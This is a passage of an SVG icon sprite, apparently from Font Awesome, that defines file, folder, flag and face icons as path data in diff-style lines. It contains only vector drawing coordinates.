6l-10 12.49A16 16 0 0 0 6 41l598 467.49a16 16 0 0 0 22.49-2.49l10-12.49A16 16 0 0 0 634 471zM296.79 146.47l134.79 105.38C429.36 191.91 380.48 144 320 144a112.26 112.26 0 0 0-23.21 2.47zm46.42 219.07L208.42 260.16C210.65 320.09 259.53 368 320 368a113 113 0 0 0 23.21-2.46zM320 112c98.65 0 189.09 55 237.93 144a285.53 285.53 0 0 1-44 60.2l37.74 29.5a333.7 333.7 0 0 0 52.9-75.11 32.35 32.35 0 0 0 0-29.19C550.29 135.59 442.93 64 320 64c-36.7 0-71.71 7-104.63 18.81l46.41 36.29c18.94-4.3 38.34-7.1 58.22-7.1zm0 288c-98.65 0-189.08-55-237.93-144a285.47 285.47 0 0 1 44.05-60.19l-37.74-29.5a333.6 333.6 0 0 0-52.89 75.1 32.35 32.35 0 0 0 0 29.19C89.72 376.41 197.08 448 320 448c36.7 0 71.71-7.05 104.63-18.81l-46.41-36.28C359.28 397.2 339.89 400 320 400z"></path> + </symbol> + <symbol id="file" viewBox="0 0 384 512"> + <path d="M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48z"></path> + </symbol> + <symbol id="file-alt" viewBox="0 0 384 512"> + <path d="M288 248v28c0 6.6-5.4 12-12 12H108c-6.6 0-12-5.4-12-12v-28c0-6.6 5.4-12 12-12h168c6.6 0 12 5.4 12 12zm-12 72H108c-6.6 0-12 5.4-12 12v28c0 6.6 5.4 12 12 12h168c6.6 0 12-5.4 12-12v-28c0-6.6-5.4-12-12-12zm108-188.1V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V48C0 21.5 21.5 0 48 0h204.1C264.8 0 277 5.1 286 14.1L369.9 98c9 8.9 14.1 21.2 14.1 33.9zm-128-80V128h76.1L256 51.9zM336 464V176H232c-13.3 0-24-10.7-24-24V48H48v416h288z"></path> + </symbol> + <symbol id="file-archive" viewBox="0 0 384 512"> + <path d="M128.3 160v32h32v-32zm64-96h-32v32h32zm-64 32v32h32V96zm64 32h-32v32h32zm177.6-30.1L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM256 51.9l76.1 76.1H256zM336 464H48V48h79.7v16h32V48H208v104c0 13.3 10.7 24 24 24h104zM194.2 265.7c-1.1-5.6-6-9.7-11.8-9.7h-22.1v-32h-32v32l-19.7 97.1C102 385.6 126.8 416 160 416c33.1 0 57.9-30.2 51.5-62.6zm-33.9 124.4c-17.9 0-32.4-12.1-32.4-27s14.5-27 32.4-27 32.4 12.1 32.4 27-14.5 27-32.4 27zm32-198.1h-32v32h32z"></path> + </symbol> + <symbol id="file-audio" viewBox="0 0 384 512"> + <path d="M369.941 97.941l-83.882-83.882A48 48 0 0 0 252.118 0H48C21.49 0 0 21.49 0 48v416c0 26.51 21.49 48 48 48h288c26.51 0 48-21.49 48-48V131.882a48 48 0 0 0-14.059-33.941zM332.118 128H256V51.882L332.118 128zM48 464V48h160v104c0 13.255 10.745 24 24 24h104v288H48zm144-76.024c0 10.691-12.926 16.045-20.485 8.485L136 360.486h-28c-6.627 0-12-5.373-12-12v-56c0-6.627 5.373-12 12-12h28l35.515-36.947c7.56-7.56 20.485-2.206 20.485 8.485v135.952zm41.201-47.13c9.051-9.297 9.06-24.133.001-33.439-22.149-22.752 12.235-56.246 34.395-33.481 27.198 27.94 27.212 72.444.001 100.401-21.793 22.386-56.947-10.315-34.397-33.481z"></path> + </symbol> + <symbol id="file-code" viewBox="0 0 384 512"> + <path d="M149.9 349.1l-.2-.2-32.8-28.9 32.8-28.9c3.6-3.2 4-8.8.8-12.4l-.2-.2-17.4-18.6c-3.4-3.6-9-3.7-12.4-.4l-57.7 54.1c-3.7 3.5-3.7 9.4 0 12.8l57.7 54.1c1.6 1.5 3.8 2.4 6 2.4 2.4 0 4.8-1 6.4-2.8l17.4-18.6c3.3-3.5 3.1-9.1-.4-12.4zm220-251.2L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM256 51.9l76.1 76.1H256zM336 464H48V48h160v104c0 13.3 10.7 24 24 24h104zM209.6 214c-4.7-1.4-9.5 1.3-10.9 6L144 408.1c-1.4 4.7 1.3 9.6 6 10.9l24.4 7.1c4.7 1.4 9.6-1.4 10.9-6L240 231.9c1.4-4.7-1.3-9.6-6-10.9zm24.5 76.9l.2.2 32.8 28.9-32.8 28.9c-3.6 3.2-4 8.8-.8 12.4l.2.2 17.4 18.6c3.3 3.5 8.9 3.7 12.4.4l57.7-54.1c3.7-3.5 3.7-9.4 0-12.8l-57.7-54.1c-3.5-3.3-9.1-3.2-12.4.4l-17.4 18.6c-3.3 3.5-3.1 9.1.4 12.4z"></path> + </symbol> + <symbol id="file-excel" viewBox="0 0 384 512"> + <path d="M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48zm212-240h-28.8c-4.4 0-8.4 2.4-10.5 6.3-18 33.1-22.2 42.4-28.6 57.7-13.9-29.1-6.9-17.3-28.6-57.7-2.1-3.9-6.2-6.3-10.6-6.3H124c-9.3 0-15 10-10.4 18l46.3 78-46.3 78c-4.7 8 1.1 18 10.4 18h28.9c4.4 0 8.4-2.4 10.5-6.3 21.7-40 23-45 28.6-57.7 14.9 30.2 5.9 15.9 28.6 57.7 2.1 3.9 6.2 6.3 10.6 6.3H260c9.3 0 15-10 10.4-18L224 320c.7-1.1 30.3-50.5 46.3-78 4.7-8-1.1-18-10.3-18z"></path> + </symbol> + <symbol id="file-image" viewBox="0 0 384 512"> + <path d="M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48zm32-48h224V288l-23.5-23.5c-4.7-4.7-12.3-4.7-17 0L176 352l-39.5-39.5c-4.7-4.7-12.3-4.7-17 0L80 352v64zm48-240c-26.5 0-48 21.5-48 48s21.5 48 48 48 48-21.5 48-48-21.5-48-48-48z"></path> + </symbol> + <symbol id="file-pdf" viewBox="0 0 384 512"> + <path d="M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48zm250.2-143.7c-12.2-12-47-8.7-64.4-6.5-17.2-10.5-28.7-25-36.8-46.3 3.9-16.1 10.1-40.6 5.4-56-4.2-26.2-37.8-23.6-42.6-5.9-4.4 16.1-.4 38.5 7 67.1-10 23.9-24.9 56-35.4 74.4-20 10.3-47 26.2-51 46.2-3.3 15.8 26 55.2 76.1-31.2 22.4-7.4 46.8-16.5 68.4-20.1 18.9 10.2 41 17 55.8 17 25.5 0 28-28.2 17.5-38.7zm-198.1 77.8c5.1-13.7 24.5-29.5 30.4-35-19 30.3-30.4 35.7-30.4 35zm81.6-190.6c7.4 0 6.7 32.1 1.8 40.8-4.4-13.9-4.3-40.8-1.8-40.8zm-24.4 136.6c9.7-16.9 18-37 24.7-54.7 8.3 15.1 18.9 27.2 30.1 35.5-20.8 4.3-38.9 13.1-54.8 19.2zm131.6-5s-5 6-37.3-7.8c35.1-2.6 40.9 5.4 37.3 7.8z"></path> + </symbol> + <symbol id="file-powerpoint" viewBox="0 0 384 512"> + <path d="M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48zm72-60V236c0-6.6 5.4-12 12-12h69.2c36.7 0 62.8 27 62.8 66.3 0 74.3-68.7 66.5-95.5 66.5V404c0 6.6-5.4 12-12 12H132c-6.6 0-12-5.4-12-12zm48.5-87.4h23c7.9 0 13.9-2.4 18.1-7.2 8.5-9.8 8.4-28.5.1-37.8-4.1-4.6-9.9-7-17.4-7h-23.9v52z"></path> + </symbol> + <symbol id="file-video" viewBox="0 0 384 512"> + <path d="M369.941 97.941l-83.882-83.882A48 48 0 0 0 252.118 0H48C21.49 0 0 21.49 0 48v416c0 26.51 21.49 48 48 48h288c26.51 0 48-21.49 48-48V131.882a48 48 0 0 0-14.059-33.941zM332.118 128H256V51.882L332.118 128zM48 464V48h160v104c0 13.255 10.745 24 24 24h104v288H48zm228.687-211.303L224 305.374V268c0-11.046-8.954-20-20-20H100c-11.046 0-20 8.954-20 20v104c0 11.046 8.954 20 20 20h104c11.046 0 20-8.954 20-20v-37.374l52.687 52.674C286.704 397.318 304 390.28 304 375.986V264.011c0-14.311-17.309-21.319-27.313-11.314z"></path> + </symbol> + <symbol id="file-word" viewBox="0 0 384 512"> + <path d="M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48zm220.1-208c-5.7 0-10.6 4-11.7 9.5-20.6 97.7-20.4 95.4-21 103.5-.2-1.2-.4-2.6-.7-4.3-.8-5.1.3.2-23.6-99.5-1.3-5.4-6.1-9.2-11.7-9.2h-13.3c-5.5 0-10.3 3.8-11.7 9.1-24.4 99-24 96.2-24.8 103.7-.1-1.1-.2-2.5-.5-4.2-.7-5.2-14.1-73.3-19.1-99-1.1-5.6-6-9.7-11.8-9.7h-16.8c-7.8 0-13.5 7.3-11.7 14.8 8 32.6 26.7 109.5 33.2 136 1.3 5.4 6.1 9.1 11.7 9.1h25.2c5.5 0 10.3-3.7 11.6-9.1l17.9-71.4c1.5-6.2 2.5-12 3-17.3l2.9 17.3c.1.4 12.6 50.5 17.9 71.4 1.3 5.3 6.1 9.1 11.6 9.1h24.7c5.5 0 10.3-3.7 11.6-9.1 20.8-81.9 30.2-119 34.5-136 1.9-7.6-3.8-14.9-11.6-14.9h-15.8z"></path> + </symbol> + <symbol id="flag" viewBox="0 0 512 512"> + <path d="M336.174 80c-49.132 0-93.305-32-161.913-32-31.301 0-58.303 6.482-80.721 15.168a48.04 48.04 0 0 0 2.142-20.727C93.067 19.575 74.167 1.594 51.201.104 23.242-1.71 0 20.431 0 48c0 17.764 9.657 33.262 24 41.562V496c0 8.837 7.163 16 16 16h16c8.837 0 16-7.163 16-16v-83.443C109.869 395.28 143.259 384 199.826 384c49.132 0 93.305 32 161.913 32 58.479 0 101.972-22.617 128.548-39.981C503.846 367.161 512 352.051 512 335.855V95.937c0-34.459-35.264-57.768-66.904-44.117C409.193 67.309 371.641 80 336.174 80zM464 336c-21.783 15.412-60.824 32-102.261 32-59.945 0-102.002-32-161.913-32-43.361 0-96.379 9.403-127.826 24V128c21.784-15.412 60.824-32 102.261-32 59.945 0 102.002 32 161.913 32 43.271 0 96.32-17.366 127.826-32v240z"></path> + </symbol> + <symbol id="flushed" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm96-312c-44.2 0-80 35.8-80 80s35.8 80 80 80 80-35.8 80-80-35.8-80-80-80zm0 128c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm0-72c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm-112 24c0-44.2-35.8-80-80-80s-80 35.8-80 80 35.8 80 80 80 80-35.8 80-80zm-80 48c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48zm0-72c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm160 144H184c-13.2 0-24 10.8-24 24s10.8 24 24 24h128c13.2 0 24-10.8 24-24s-10.8-24-24-24z"></path> + </symbol> + <symbol id="folder" viewBox="0 0 512 512"> + <path d="M464 128H272l-54.63-54.63c-6-6-14.14-9.37-22.63-9.37H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V176c0-26.51-21.49-48-48-48zm0 272H48V112h140.12l54.63 54.63c6 6 14.14 9.37 22.63 9.37H464v224z"></path> + </symbol> + <symbol id="folder-open" viewBox="0 0 576 512"> + <path d="M527.9 224H480v-48c0-26.5-21.5-48-48-48H272l-64-64H48C21.5 64 0 85.5 0 112v288c0 26.5 21.5 48 48 48h400c16.5 0 31.9-8.5 40.7-22.6l79.9-128c20-31.9-3-73.4-40.7-73.4zM48 118c0-3.3 2.7-6 6-6h134.1l64 64H426c3.3 0 6 2.7 6 6v42H152c-16.8 0-32.4 8.8-41.1 23.2L48 351.4zm400 282H72l77.2-128H528z"></path> + </symbol> + <symbol id="font-awesome-logo-full" viewBox="0 0 3992 512"> + <path d="M454.6 0H57.4C25.9 0 0 25.9 0 57.4v397.3C0 486.1 25.9 512 57.4 512h397.3c31.4 0 57.4-25.9 57.4-57.4V57.4C512 25.9 486.1 0 454.6 0zm-58.9 324.9c0 4.8-4.1 6.9-8.9 8.9-19.2 8.1-39.7 15.7-61.5 15.7-40.5 0-68.7-44.8-163.2 2.5v51.8c0 30.3-45.7 30.2-45.7 0v-250c-9-7-15-17.9-15-30.3 0-21 17.1-38.2 38.2-38.2 21 0 38.2 17.1 38.2 38.2 0 12.2-5.8 23.2-14.9 30.2v21c37.1-12 65.5-34.4 146.1-3.4 26.6 11.4 68.7-15.7 76.5-15.7 5.5 0 10.3 4.1 10.3 8.9v160.4zm432.9-174.2h-137v70.1H825c39.8 0 40.4 62.2 0 62.2H691.6v105.6c0 45.5-70.7 46.4-70.7 0V128.3c0-22 18-39.8 39.8-39.8h167.8c39.6 0 40.5 62.2.1 62.2zm191.1 23.4c-169.3 0-169.1 252.4 0 252.4 169.9 0 169.9-252.4 0-252.4zm0 196.1c-81.6 0-82.1-139.8 0-139.8 82.5 0 82.4 139.8 0 139.8zm372.4 53.4c-17.5 0-31.4-13.9-31.4-31.4v-117c0-62.4-72.6-52.5-99.1-16.4v133.4c0 41.5-63.3 41.8-63.3 0V208c0-40 63.1-41.6 63.1 0v3.4c43.3-51.6 162.4-60.4 162.4 39.3v141.5c.3 30.4-31.5 31.4-31.7 31.4zm179.7 2.9c-44.3 0-68.3-22.9-68.3-65.8V235.2H1488c-35.6 0-36.7-55.3 0-55.3h15.5v-37.3c0-41.3 63.8-42.1 63.8 0v37.5h24.9c35.4 0 35.7 55.3 0 55.3h-24.9v108.5c0 29.6 26.1 26.3 27.4 26.3 31.4 0 52.6 56.3-22.9 56.3zM1992 123c-19.5-50.2-95.5-50-114.5 0-107.3 275.7-99.5 252.7-99.5 262.8 0 42.8 58.3 51.2 72.1 14.4l13.5-35.9H2006l13 35.9c14.2 37.7 72.1 27.2 72.1-14.4 0-10.1 5.3 6.8-99.1-262.8zm-108.9 179.1l51.7-142.9 51.8 142.9h-103.5zm591.3-85.6l-53.7 176.3c-12.4 41.2-72 41-84 0l-42.3-135.9-42.3 135.9c-12.4 40.9-72 41.2-84.5 0l-54.2-176.3c-12.5-39.4 49.8-56.1 60.2-16.9L2213 342l45.3-139.5c10.9-32.7 59.6-34.7 71.2 0l45.3 139.5 39.3-142.4c10.3-38.3 72.6-23.8 60.3 16.9zm275.4 75.1c0-42.4-33.9-117.5-119.5-117.5-73.2 0-124.4 56.3-124.4 126 0 77.2 55.3 126.4 128.5 126.4 31.7 0 93-11.5 93-39.8 0-18.3-21.1-31.5-39.3-22.4-49.4 26.2-109 8.4-115.9-43.8h148.3c16.3 0 29.3-13.4 29.3-28.9zM2571 277.7c9.5-73.4 113.9-68.6 118.6 0H2571zm316.7 148.8c-31.4 0-81.6-10.5-96.6-31.9-12.4-17 2.5-39.8 21.8-39.8 16.3 0 36.8 22.9 77.7 22.9 27.4 0 40.4-11 40.4-25.8 0-39.8-142.9-7.4-142.9-102 0-40.4 35.3-75.7 98.6-75.7 31.4 0 74.1 9.9 87.6 29.4 10.8 14.8-1.4 36.2-20.9 36.2-15.1 0-26.7-17.3-66.2-17.3-22.9 0-37.8 10.5-37.8 23.8 0 35.9 142.4 6 142.4 103.1-.1 43.7-37.4 77.1-104.1 77.1zm266.8-252.4c-169.3 0-169.1 252.4 0 252.4 170.1 0 169.6-252.4 0-252.4zm0 196.1c-81.8 0-82-139.8 0-139.8 82.5 0 82.4 139.8 0 139.8zm476.9 22V268.7c0-53.8-61.4-45.8-85.7-10.5v134c0 41.3-63.8 42.1-63.8 0V268.7c0-52.1-59.5-47.4-85.7-10.1v133.6c0 41.5-63.3 41.8-63.3 0V208c0-40 63.1-41.6 63.1 0v3.4c9.9-14.4 41.8-37.3 78.6-37.3 35.3 0 57.7 16.4 66.7 43.8 13.9-21.8 45.8-43.8 82.6-43.8 44.3 0 70.7 23.4 70.7 72.7v145.3c.5 17.3-13.5 31.4-31.9 31.4 3.5.1-31.3 1.1-31.3-31.3zM3992 291.6c0-42.4-32.4-117.5-117.9-117.5-73.2 0-127.5 56.3-127.5 126 0 77.2 58.3 126.4 131.6 126.4 31.7 0 91.5-11.5 91.5-39.8 0-18.3-21.1-31.5-39.3-22.4-49.4 26.2-110.5 8.4-117.5-43.8h149.8c16.3 0 29.1-13.4 29.3-28.9zm-180.5-13.9c9.7-74.4 115.9-68.3 120.1 0h-120.1z"></path> + </symbol> + <symbol id="frown" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-80-216c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160-64c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm-80 128c-40.2 0-78 17.7-103.8 48.6-8.5 10.2-7.1 25.3 3.1 33.8 10.2 8.4 25.3 7.1 33.8-3.1 16.6-19.9 41-31.4 66.9-31.4s50.3 11.4 66.9 31.4c8.1 9.7 23.1 11.9 33.8 3.1 10.2-8.5 11.5-23.6 3.1-33.8C326 321.7 288.2 304 248 304z"></path> + </symbol> + <symbol id="frown-open" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-48-248c0-17.7-14.3-32-32-32s-32 14.3-32 32 14.3 32 32 32 32-14.3 32-32zm128-32c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm-80 112c-35.6 0-88.8 21.3-95.8 61.2-2 11.8 9 21.5 20.5 18.1 31.2-9.6 59.4-15.3 75.3-15.3s44.1 5.7 75.3 15.3c11.4 3.5 22.5-6.3 20.5-18.1-7-39.9-60.2-61.2-95.8-61.2z"></path> + </symbol> + <symbol id="futbol" viewBox="0 0 496 512"> + <path d="M483.8 179.4C449.8 74.6 352.6 8 248.1 8c-25.4 0-51.2 3.9-76.7 12.2C41.2 62.5-30.1 202.4 12.2 332.6 46.2 437.4 143.4 504 247.9 504c25.4 0 51.2-3.9 76.7-12.2 130.2-42.3 201.5-182.2 159.2-312.4zm-74.5 193.7l-52.2 6.4-43.7-60.9 24.4-75.2 71.1-22.1 38.9 36.4c-.2 30.7-7.4 61.1-21.7 89.2-4.7 9.3-10.7 17.8-16.8 26.2zm0-235.4l-10.4 53.1-70.7 22-64.2-46.5V92.5l47.4-26.2c39.2 13 73.4 38 97.9 71.4zM184.9 66.4L232 92.5v73.8l-64.2 46.5-70.6-22-10.1-52.5c24.3-33.4 57.9-58.6 97.8-71.9zM139 379.5L85.9 373c-14.4-20.1-37.3-59.6-37.8-115.3l39-36.4 71.1 22.2 24.3 74.3-43.5 61.7zm48.2 67l-22.4-48.1 43.6-61.7H287l44.3 61.7-22.4 48.1c-6.2 1.8-57.6 20.4-121.7 0z"></path> + </symbol> + <symbol id="gem" viewBox="0 0 576 512"> + <path d="M464 0H112c-4 0-7.8 2-10 5.4L2 152.6c-2.9 4.4-2.6 10.2.7 14.2l276 340.8c4.8 5.9 13.8 5.9 18.6 0l276-340.8c3.3-4.1 3.6-9.8.7-14.2L474.1 5.4C471.8 2 468.1 0 464 0zm-19.3 48l63.3 96h-68.4l-51.7-96h56.8zm-202.1 0h90.7l51.7 96H191l51.6-96zm-111.3 0h56.8l-51.7 96H68l63.3-96zm-43 144h51.4L208 352 88.3 192zm102.9 0h193.6L288 435.3 191.2 192zM368 352l68.2-160h51.4L368 352z"></path> + </symbol> + <symbol id="grimace" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-80-216c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160 0c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm16 16H152c-26.5 0-48 21.5-48 48v32c0 26.5 21.5 48 48 48h192c26.5 0 48-21.5 48-48v-32c0-26.5-21.5-48-48-48zm-168 96h-24c-8.8 0-16-7.2-16-16v-8h40v24zm0-40h-40v-8c0-8.8 7.2-16 16-16h24v24zm64 40h-48v-24h48v24zm0-40h-48v-24h48v24zm64 40h-48v-24h48v24zm0-40h-48v-24h48v24zm56 24c0 8.8-7.2 16-16 16h-24v-24h40v8zm0-24h-40v-24h24c8.8 0 16 7.2 16 16v8z"></path> + </symbol> + <symbol id="grin" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm105.6-151.4c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.4-17.7 15.3 7.9 47.1 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3zM168 240c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160 0c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32z"></path> + </symbol> + <symbol id="grin-alt" viewBox="0 0 496 512"> + <path d="M200.3 248c12.4-18.7 15.1-37.3 15.7-56-.5-18.7-3.3-37.3-15.7-56-8-12-25.1-11.4-32.7 0-12.4 18.7-15.1 37.3-15.7 56 .5 18.7 3.3 37.3 15.7 56 8.1 12 25.2 11.4 32.7 0zm128 0c12.4-18.7 15.1-37.3 15.7-56-.5-18.7-3.3-37.3-15.7-56-8-12-25.1-11.4-32.7 0-12.4 18.7-15.1 37.3-15.7 56 .5 18.7 3.3 37.3 15.7 56 8.1 12 25.2 11.4 32.7 0zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm105.6-151.4c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.3-17.7 15.3 7.9 47.2 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3z"></path> + </symbol> + <symbol id="grin-beam" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm105.6-151.4c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.8-3.1-19.4 5.3-17.7 15.3 7.9 47.1 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3zm-235.9-72.9c3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3zm160 0c3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3z"></path> + </symbol> + <symbol id="grin-beam-sweat" viewBox="0 0 496 512"> + <path d="M440 160c29.5 0 53.3-26.3 53.3-58.7 0-25-31.7-75.5-46.2-97.3-3.6-5.3-10.7-5.3-14.2 0-14.5 21.8-46.2 72.3-46.2 97.3 0 32.4 23.8 58.7 53.3 58.7zM248 400c51.9 0 115.3-32.9 123.3-80 1.7-9.9-7.7-18.5-17.7-15.3-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.8-3.1-19.4 5.3-17.7 15.3 8 47.1 71.4 80 123.3 80zm130.3-168.3c3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3 3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.6 6.2 4.6 9.3 3.7zm105.3-52.9c-24.6 15.7-46 12.9-46.4 12.9 6.9 20.2 10.8 41.8 10.8 64.3 0 110.3-89.7 200-200 200S48 366.3 48 256 137.7 56 248 56c39.8 0 76.8 11.8 108 31.9 1.7-9.5 6.3-24.1 17.2-45.7C336.4 20.6 293.7 8 248 8 111 8 0 119 0 256s111 248 248 248 248-111 248-248c0-27-4.4-52.9-12.4-77.2zM168 189.4c12.3 0 23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 6-4.5 5.7-8.3-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.3 3.7 2.1 7.2 5.7 8.3 3.5 1.1 7.4-.5 9.3-3.7l9.5-17c7.7-13.8 19.2-21.6 31.5-21.6z"></path> + </symbol> + <symbol id="grin-hearts" viewBox="0 0 496 512"> + <path d="M353.6 304.6c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.8-3.1-19.4 5.3-17.7 15.3 7.9 47.2 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3zm-152.8-48.9c4.5 1.2 9.2-1.5 10.5-6l19.4-69.9c5.6-20.3-7.4-41.1-28.8-44.5-18.6-3-36.4 9.8-41.5 27.9l-2 7.1-7.1-1.9c-18.2-4.7-38.2 4.3-44.9 22-7.7 20.2 3.8 41.9 24.2 47.2l70.2 18.1zm188.8-65.3c-6.7-17.6-26.7-26.7-44.9-22l-7.1 1.9-2-7.1c-5-18.1-22.8-30.9-41.5-27.9-21.4 3.4-34.4 24.2-28.8 44.5l19.4 69.9c1.2 4.5 5.9 7.2 10.5 6l70.2-18.2c20.4-5.3 31.9-26.9 24.2-47.1zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200z"></path> + </symbol> + <symbol id="grin-squint" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm105.6-151.4c-25.9 8.3-64.4 13.1-105.6 13.1s-79.6-4.8-105.6-13.1c-9.9-3.1-19.4 5.4-17.7 15.3 7.9 47.1 71.3 80 123.3 80s115.3-32.9 123.3-80c1.6-9.8-7.7-18.4-17.7-15.3zm-234.7-40.8c3.6 4.2 9.9 5.7 15.3 2.5l80-48c3.6-2.2 5.8-6.1 5.8-10.3s-2.2-8.1-5.8-10.3l-80-48c-5.1-3-11.4-1.9-15.3 2.5-3.8 4.5-3.8 11-.1 15.5l33.6 40.3-33.6 40.3c-3.8 4.5-3.7 11.1.1 15.5zm242.9 2.5c5.4 3.2 11.7 1.7 15.3-2.5 3.8-4.5 3.8-11 .1-15.5L343.6 208l33.6-40.3c3.8-4.5 